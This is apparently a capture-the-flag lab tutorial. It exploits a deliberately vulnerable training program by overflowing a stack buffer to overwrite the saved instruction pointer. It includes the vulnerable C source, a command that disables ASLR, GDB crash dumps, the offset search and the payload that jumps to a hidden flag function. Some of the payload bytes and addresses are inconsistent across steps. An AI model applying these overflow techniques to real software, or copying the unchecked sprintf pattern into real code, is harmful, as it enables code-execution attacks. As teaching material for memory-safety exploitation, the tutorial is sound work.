In all three challenges you are going to exploit memory corruption vulnerabilities in the program mmchallenge.
If not yet done in Step 1, download the following ZIP file to your Hacking Lab Live CD, extract, and type make:
If not yet done in Step 1, make sure you disable ASLR by entering the following line (after every reboot):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
This is the code of the binary with the vulnerabilities we are going to exploit:
mmchallenge.c:
#include <stdio.h>
#include <stdlib.h>
#include <crypt.h>
#include <string.h>
const char *adminHash = "$6$saaaaalty$cjw9qyAKmchl7kQMJxE5c1mHN0cXxfQNjs4EhcyULLndQR1wXslGCaZrJj5xRRBeflfvmpoIVv6Vs7ZOQwhcx.";
int checkPassword(char *password) {
char *hash;
hash = crypt(password, "$6$saaaaalty");
if (strcmp(hash, adminHash) == 0) {
return 1;
} else {
return 0;
}
}
void flag1(void) {
char buf[512];
FILE *fp;
printf("You are admin!\n");
fp = fopen("flag1.txt", "r");
fgets(buf, 511, (FILE *) fp);
printf("Flag1: %s\n", buf);
fclose(fp);
}
void flag2(void) {
char buf[512];
FILE *fp;
printf("You are superadmin!\n");
fp = fopen("flag2.txt", "r");
fgets(buf, 511, (FILE *) fp);
printf("Flag2: %s\n", buf);
fclose(fp);
}
/* void flag3(void) {
...
fp = fopen("flag3.txt", "r");
...
}*/
void handleUser(void) {
printf("You are NOT admin.\n");
}
void handleData(char *password) {
int isAdmin = 0;
char msg[128];
isAdmin = checkPassword(password);
sprintf(msg, "Password: %s", password);
printf("IsAdmin: 0x%lx\n", isAdmin);
if(isAdmin) {
flag1();
} else {
handleUser();
printf("%s\n", msg);
}
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("Call: %s <password>\n", argv[0]);
exit(0);
}
handleData(argv[1]);
}
Get flag 1 in challenge "Memory Corruption – Step 1 – Variable overflow if not done yet!
Flag 2 Overflow SIP function
What if we add a little bit more A’s? Like 144 bytes?
./mmchallenge python -c 'print "A"*144'
IsAdmin: 0x41414141
You are admin!
Flag1: flag-1
Segmentation fault
Seems it has crashed with a segmentation fault.
Overflow Analysis
Lets analyze the overflow a bit more. We start GDB with the target binary as parameter. The binary will be loaded into GDB and be ready to run. Then we will run it as above with the command run:
# gdb -q ./mmchallenge gdb-peda$ runpython -c 'print "A"*144'Starting program: /home/hacker/yookiterm-challenges-files/challenge10/mmchallengepython -c 'print "A"*144'IsAdmin: 0x41414141 You are admin! Flag1: dobinflag Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x405010 --> 0x0 RDX: 0x1c RSI: 0x1 RDI: 0x4056d0 --> 0x0 RBP: 0x4141414141414141 ('AAAAAAAA') RSP: 0x7fffffffe3a0 --> 0x7fffffffe4b8 --> 0x7fffffffe6fd ("/home/hacker/yookiterm-challenges-files/challenge10/mmchallenge") RIP: 0x4141 ('AA') R8 : 0x0 R9 : 0x12 R10: 0xfffffffffffff248 R11: 0x202 R12: 0x4010d0 (<_start>: xor ebp,ebp) R13: 0x0 R14: 0x0 R15: 0x0 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x4141 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe3a0 --> 0x7fffffffe4b8 --> 0x7fffffffe6fd ("/home/hacker/yookiterm-challenges-files/challenge10/mmchallenge") 0008| 0x7fffffffe3a8 --> 0x2004010d0 0016| 0x7fffffffe3b0 --> 0x7fffffffe4b0 --> 0x2 0024| 0x7fffffffe3b8 --> 0x4052a0 --> 0x0 0032| 0x7fffffffe3c0 --> 0x4013e0 (<__libc_csu_init>: push r15) 0040| 0x7fffffffe3c8 --> 0x7ffff7dd5cca (<__libc_start_main+234>: mov edi,eax) 0048| 0x7fffffffe3d0 --> 0x7fffffffe4b8 --> 0x7fffffffe6fd ("/home/hacker/yookiterm-challenges-files/challenge10/mmchallenge") 0056| 0x7fffffffe3d8 --> 0x200000000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000004141 in ?? ()
With RIP: RIP: 0x4141 (‚AA‘)
As we can see, the value of RIP is 0x4141, or AA in ASCII. It seems the CPU wants to continue the execution at an address which is based on our input string (AAAAAAAA….)!
Maybe we can call the function flag2(), which actually knowing the password?
We would require the following things for this:
- The address of the function flag2()
- The location in the input string which gets inserted into SIP/EIP (offset)
We can easily find the address of flag2()
gdb-peda$ print &flag2 $1 = (<text variable, no debug info> *) 0x40126d <flag2>
It seems our target address is 0x40126d.
Find the offset
We will update or python-based argument generator by appending BBBB at the AAAA’s. As RIP was "AA", we decrement the offset from 144 to 142.
# python -c 'print "A"*142+"BBBB"' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
In GDB:
gdb-peda$ rpython -c 'print "A"*142+"BBBB"'Starting program: /home/hacker/yookiterm-challenges-files/challenge10/mmchallengepython -c 'print "A"*142+"BBBB"'IsAdmin: 0x41414141 You are admin! Flag1: dobinflag Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] ... RIP: 0x42424242 ('BBBB') ... Stopped reason: SIGSEGV 0x0000000042424242 in ?? ()
Bingo! The 4-byte value BBBB is now completely stored in RIP! Therefore the offset to SIP (the stored instruction pointer, which gets loaded into RIP when executing a ret) is 142 bytes. This means we can redirect the execution flow of the target program to any address we want.
Note that the program crashes, because there arent any valid Intel assembler instructions at memory address 0x41414141. If there were – they would have been just executed.
Write the exploit
Lets re-iterate what we know:
- The offset in the first input argument to SIP is exactly 142 bytes.
- The address of flag2() is 0x40126d
The next step is to replace the BBBB (the SIP) with the address of flag2. Note that because of the little-endianness, we have to convert the address. The 64-bit unsigned int 0x40126d is stored as little endian as 0x6d 0x12 0x40 Just read it from back to front, byte by byte.
Lets update our python argument line generator again. We can specify raw bytes in hex by prepending them with \x. Or in other words, \x41 = A.
# python -c 'print "A"*142+"\x6d\x12\x40"' | hexdump -v -C 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000060 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000070 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| 00000080 41 41 41 41 41 41 41 41 41 41 41 41 41 41 6d 12 |AAAAAAAAAAAAAAm.| 00000090 40 0a |@.| 00000092
Not that the bytes in the address are not ASCII-printable, therefore we piped the output into hexdump. You’ll also see that print added a newline character at the end, byte 0a. This should not be a problem.
Lets replace "BBBB" of our exploit with "\x6d\x12\x40"
gdb-peda$ rpython -c 'print "A"*142+"\x6d\x12\x40"'Starting program: /home/hacker/yookiterm-challenges-files/challenge10/mmchallengepython -c 'print "A"*142+"\x6d\x12\x40"'IsAdmin: 0x41414141 You are admin! Flag1: flag-1 You are superadmin! Flag2: flag-2 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] ...
It seems that the program crashes. But WAIT! It printed You are superadmin! before it crashed! And also Flag 2.
Does that mean that the flag2() was executed? Lets double-check by setting a breakpoint in flag2:
gdb-peda$ b *flag2 Breakpoint 1 at 0x4012d4 gdb-peda$ rpython -c 'print "A"*142+"\x6d\x12\x40"'Starting program: /home/hacker/yookiterm-challenges-files/challenge10/mmchallengepython -c 'print "A"*142+"\x6d\x12\x40"'IsAdmin: 0x41414141 You are admin! Flag1: flag-1 Breakpoint 1, 0x000000000040126d in flag2 () gdb-peda$
Indeed, breakpoint 1 was hit, and we stopped execution in flag2!
Lets check it a third time, this time without gdb:
# ./mmchallenge python -c 'print "A"*142+"\xd4\x12\x40"'
IsAdmin: 0x41414141
You are admin!
Flag1: flag-1
You are superadmin!
Flag2: flag-2
Segmentation fault


